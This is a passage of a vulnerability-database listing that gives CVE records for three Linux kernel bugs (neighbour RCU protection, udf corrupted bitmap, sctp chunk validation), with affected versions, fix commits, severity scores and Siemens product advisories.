                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:44.302Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/core/neighbour.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e1aed6be381bcd7f46d4ca9d7ef0f5f3d6a1be32",
              "status": "affected",
              "version": "426b5303eb435d98b9bee37a807be386bc2b3320",
              "versionType": "git"
            },
            {
              "lessThan": "8666e9aab801328c1408a19fbf4070609dc0695a",
              "status": "affected",
              "version": "426b5303eb435d98b9bee37a807be386bc2b3320",
              "versionType": "git"
            },
            {
              "lessThan": "40d8f2f2a373b6c294ffac394d2bb814b572ead1",
              "status": "affected",
              "version": "426b5303eb435d98b9bee37a807be386bc2b3320",
              "versionType": "git"
            },
            {
              "lessThan": "784eb2376270e086f7db136d154b8404edacf97b",
              "status": "affected",
              "version": "426b5303eb435d98b9bee37a807be386bc2b3320",
              "versionType": "git"
            },
            {
              "lessThan": "1cbb2aa90cd3fba15ad7efb5cdda28f3d1082379",
              "status": "affected",
              "version": "426b5303eb435d98b9bee37a807be386bc2b3320",
              "versionType": "git"
            },
            {
              "lessThan": "cdd5c2a12ddad8a77ce1838ff9f29aa587de82df",
              "status": "affected",
              "version": "426b5303eb435d98b9bee37a807be386bc2b3320",
              "versionType": "git"
            },
            {
              "lessThan": "559307d25235e24b5424778c7332451b6c741159",
              "status": "affected",
              "version": "426b5303eb435d98b9bee37a807be386bc2b3320",
              "versionType": "git"
            },
            {
              "lessThan": "becbd5850c03ed33b232083dd66c6e38c0c0e569",
              "status": "affected",
              "version": "426b5303eb435d98b9bee37a807be386bc2b3320",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/core/neighbour.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.25"
            },
            {
              "lessThan": "2.6.25",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.16",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.79",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.16",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.4",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nneighbour: use RCU protection in __neigh_notify()\n\n__neigh_notify() can be called without RTNL or RCU protection.\n\nUse RCU protection to avoid potential UAF."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:05:55.501Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e1aed6be381bcd7f46d4ca9d7ef0f5f3d6a1be32"
        },
        {
          "url": "https://git.kernel.org/stable/c/8666e9aab801328c1408a19fbf4070609dc0695a"
        },
        {
          "url": "https://git.kernel.org/stable/c/40d8f2f2a373b6c294ffac394d2bb814b572ead1"
        },
        {
          "url": "https://git.kernel.org/stable/c/784eb2376270e086f7db136d154b8404edacf97b"
        },
        {
          "url": "https://git.kernel.org/stable/c/1cbb2aa90cd3fba15ad7efb5cdda28f3d1082379"
        },
        {
          "url": "https://git.kernel.org/stable/c/cdd5c2a12ddad8a77ce1838ff9f29aa587de82df"
        },
        {
          "url": "https://git.kernel.org/stable/c/559307d25235e24b5424778c7332451b6c741159"
        },
        {
          "url": "https://git.kernel.org/stable/c/becbd5850c03ed33b232083dd66c6e38c0c0e569"
        }
      ],
      "title": "neighbour: use RCU protection in __neigh_notify()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21763",
    "datePublished": "2025-02-27T02:18:15.078Z",
    "dateReserved": "2024-12-29T08:45:45.761Z",
    "dateUpdated": "2026-05-12T12:03:44.302Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42306 (GCVE-0-2024-42306)

Vulnerability from cvelistv5 – Published: 2024-08-17 09:09 – Updated: 2026-05-12 11:56

Title

udf: Avoid using corrupted block bitmap buffer

Summary

In the Linux kernel, the following vulnerability has been resolved: udf: Avoid using corrupted block bitmap buffer When the filesystem block bitmap is corrupted, we detect the corruption while loading the bitmap and fail the allocation with error. However the next allocation from the same bitmap will notice the bitmap buffer is already loaded and tries to allocate from the bitmap with mixed results (depending on the exact nature of the bitmap corruption). Fix the problem by using BH_verified bit to indicate whether the bitmap is valid or not.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/cae9e59cc41683408…
https://git.kernel.org/stable/c/2199e157a465aaf98…
https://git.kernel.org/stable/c/6a43e3c210df6c5f0…
https://git.kernel.org/stable/c/271cab2ca00652bc9…
https://git.kernel.org/stable/c/57053b3bcf3403b80…
https://git.kernel.org/stable/c/8ca170c39eca7cad6…
https://git.kernel.org/stable/c/a90d4471146de2174…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 7648ea9896b31aff38830d81188f5b7a1773e4a8 , < cae9e59cc41683408b70b9ab569f8654866ba914 (git) Affected: 4ac54312f623c6d2ca30c36c1ef530c11f5aff64 , < 2199e157a465aaf98294d3932797ecd7fce942d5 (git) Affected: 099bf90d7fc4622da9fd4727f6d318a0f12d10be , < 6a43e3c210df6c5f00570f4be49a897677dbcb64 (git) Affected: 6ac8f2c8362afd2baa8e7b9c946597589e587d22 , < 271cab2ca00652bc984e269cf1208699a1e09cdd (git) Affected: 1e0d4adf17e7ef03281d7b16555e7c1508c8ed2d , < 57053b3bcf3403b80db6f65aba284d7dfe7326af (git) Affected: 1e0d4adf17e7ef03281d7b16555e7c1508c8ed2d , < 8ca170c39eca7cad6e0cfeb24e351d8f8eddcd65 (git) Affected: 1e0d4adf17e7ef03281d7b16555e7c1508c8ed2d , < a90d4471146de21745980cba51ce88e7926bcc4f (git) Affected: f862a9049c3f6e73a5504a1ac10ffd5bc253ab55 (git) Affected: 4622cc1b6d86013e01c56b60b092b5e4726c8e52 (git)
Linux	Linux	Affected: 6.3 Unaffected: 0 , < 6.3 (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.103 , ≤ 6.1.* (semver) Unaffected: 6.6.44 , ≤ 6.6.* (semver) Unaffected: 6.10.3 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42306",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:10:15.929324Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:27.843Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:04:14.937Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:52.686Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/udf/balloc.c",
            "fs/udf/super.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "cae9e59cc41683408b70b9ab569f8654866ba914",
              "status": "affected",
              "version": "7648ea9896b31aff38830d81188f5b7a1773e4a8",
              "versionType": "git"
            },
            {
              "lessThan": "2199e157a465aaf98294d3932797ecd7fce942d5",
              "status": "affected",
              "version": "4ac54312f623c6d2ca30c36c1ef530c11f5aff64",
              "versionType": "git"
            },
            {
              "lessThan": "6a43e3c210df6c5f00570f4be49a897677dbcb64",
              "status": "affected",
              "version": "099bf90d7fc4622da9fd4727f6d318a0f12d10be",
              "versionType": "git"
            },
            {
              "lessThan": "271cab2ca00652bc984e269cf1208699a1e09cdd",
              "status": "affected",
              "version": "6ac8f2c8362afd2baa8e7b9c946597589e587d22",
              "versionType": "git"
            },
            {
              "lessThan": "57053b3bcf3403b80db6f65aba284d7dfe7326af",
              "status": "affected",
              "version": "1e0d4adf17e7ef03281d7b16555e7c1508c8ed2d",
              "versionType": "git"
            },
            {
              "lessThan": "8ca170c39eca7cad6e0cfeb24e351d8f8eddcd65",
              "status": "affected",
              "version": "1e0d4adf17e7ef03281d7b16555e7c1508c8ed2d",
              "versionType": "git"
            },
            {
              "lessThan": "a90d4471146de21745980cba51ce88e7926bcc4f",
              "status": "affected",
              "version": "1e0d4adf17e7ef03281d7b16555e7c1508c8ed2d",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "f862a9049c3f6e73a5504a1ac10ffd5bc253ab55",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "4622cc1b6d86013e01c56b60b092b5e4726c8e52",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/udf/balloc.c",
            "fs/udf/super.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.3"
            },
            {
              "lessThan": "6.3",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.103",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.44",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "5.4.257",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "5.10.195",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "5.15.132",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.103",
                  "versionStartIncluding": "6.1.53",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.44",
                  "versionStartIncluding": "6.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.3",
                  "versionStartIncluding": "6.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "6.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.326",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.19.295",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nudf: Avoid using corrupted block bitmap buffer\n\nWhen the filesystem block bitmap is corrupted, we detect the corruption\nwhile loading the bitmap and fail the allocation with error. However the\nnext allocation from the same bitmap will notice the bitmap buffer is\nalready loaded and tries to allocate from the bitmap with mixed results\n(depending on the exact nature of the bitmap corruption). Fix the\nproblem by using BH_verified bit to indicate whether the bitmap is valid\nor not."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:29:49.876Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/cae9e59cc41683408b70b9ab569f8654866ba914"
        },
        {
          "url": "https://git.kernel.org/stable/c/2199e157a465aaf98294d3932797ecd7fce942d5"
        },
        {
          "url": "https://git.kernel.org/stable/c/6a43e3c210df6c5f00570f4be49a897677dbcb64"
        },
        {
          "url": "https://git.kernel.org/stable/c/271cab2ca00652bc984e269cf1208699a1e09cdd"
        },
        {
          "url": "https://git.kernel.org/stable/c/57053b3bcf3403b80db6f65aba284d7dfe7326af"
        },
        {
          "url": "https://git.kernel.org/stable/c/8ca170c39eca7cad6e0cfeb24e351d8f8eddcd65"
        },
        {
          "url": "https://git.kernel.org/stable/c/a90d4471146de21745980cba51ce88e7926bcc4f"
        }
      ],
      "title": "udf: Avoid using corrupted block bitmap buffer",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42306",
    "datePublished": "2024-08-17T09:09:11.938Z",
    "dateReserved": "2024-07-30T07:40:12.273Z",
    "dateUpdated": "2026-05-12T11:56:52.686Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50299 (GCVE-0-2024-50299)

Vulnerability from cvelistv5 – Published: 2024-11-19 01:30 – Updated: 2026-05-12 12:00

Title

sctp: properly validate chunk size in sctp_sf_ootb()

Summary

In the Linux kernel, the following vulnerability has been resolved: sctp: properly validate chunk size in sctp_sf_ootb() A size validation fix similar to that in Commit 50619dbf8db7 ("sctp: add size validation when walking chunks") is also required in sctp_sf_ootb() to address a crash reported by syzbot: BUG: KMSAN: uninit-value in sctp_sf_ootb+0x7f5/0xce0 net/sctp/sm_statefuns.c:3712 sctp_sf_ootb+0x7f5/0xce0 net/sctp/sm_statefuns.c:3712 sctp_do_sm+0x181/0x93d0 net/sctp/sm_sideeffect.c:1166 sctp_endpoint_bh_rcv+0xc38/0xf90 net/sctp/endpointola.c:407 sctp_inq_push+0x2ef/0x380 net/sctp/inqueue.c:88 sctp_rcv+0x3831/0x3b20 net/sctp/input.c:243 sctp4_rcv+0x42/0x50 net/sctp/protocol.c:1159 ip_protocol_deliver_rcu+0xb51/0x13d0 net/ipv4/ip_input.c:205 ip_local_deliver_finish+0x336/0x500 net/ipv4/ip_input.c:233

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-908 - Use of Uninitialized Resource

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/67b9a278b80f71ec6…
https://git.kernel.org/stable/c/9b5d42aeaf1a52f73…
https://git.kernel.org/stable/c/40b283ba76665437b…
https://git.kernel.org/stable/c/a758aa6a773bb8721…
https://git.kernel.org/stable/c/bf9bff13225baf5f6…
https://git.kernel.org/stable/c/d3fb3cc83cf313e4f…
https://git.kernel.org/stable/c/8820d2d6589f62ee5…
https://git.kernel.org/stable/c/0ead60804b64f5bd6…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 67b9a278b80f71ec62091ded97c6bcbea33b5ec3 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 9b5d42aeaf1a52f73b003a33da6deef7df34685f (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 40b283ba76665437bc2ac72079c51b57b25bff9e (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < a758aa6a773bb872196bcc3173171ef8996bddf0 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < bf9bff13225baf5f658577f7d985fc4933d79527 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < d3fb3cc83cf313e4f87063ce0f3fea76b071567b (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 8820d2d6589f62ee5514793fff9b50c9f8101182 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 0ead60804b64f5bd6999eec88e503c6a1a242d41 (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.324 , ≤ 4.19.* (semver) Unaffected: 5.4.286 , ≤ 5.4.* (semver) Unaffected: 5.10.230 , ≤ 5.10.* (semver) Unaffected: 5.15.172 , ≤ 5.15.* (semver) Unaffected: 6.1.117 , ≤ 6.1.* (semver) Unaffected: 6.6.61 , ≤ 6.6.* (semver) Unaffected: 6.11.8 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-50299",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T20:13:57.665904Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-908",
                "description": "CWE-908 Use of Uninitialized Resource",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T20:17:20.082Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:28:16.706Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:52.484Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sctp/sm_statefuns.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "67b9a278b80f71ec62091ded97c6bcbea33b5ec3",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "9b5d42aeaf1a52f73b003a33da6deef7df34685f",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "40b283ba76665437bc2ac72079c51b57b25bff9e",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "a758aa6a773bb872196bcc3173171ef8996bddf0",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "bf9bff13225baf5f658577f7d985fc4933d79527",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "d3fb3cc83cf313e4f87063ce0f3fea76b071567b",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "8820d2d6589f62ee5514793fff9b50c9f8101182",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "0ead60804b64f5bd6999eec88e503c6a1a242d41",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/sctp/sm_statefuns.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.324",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.286",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.230",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.172",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.117",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.61",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
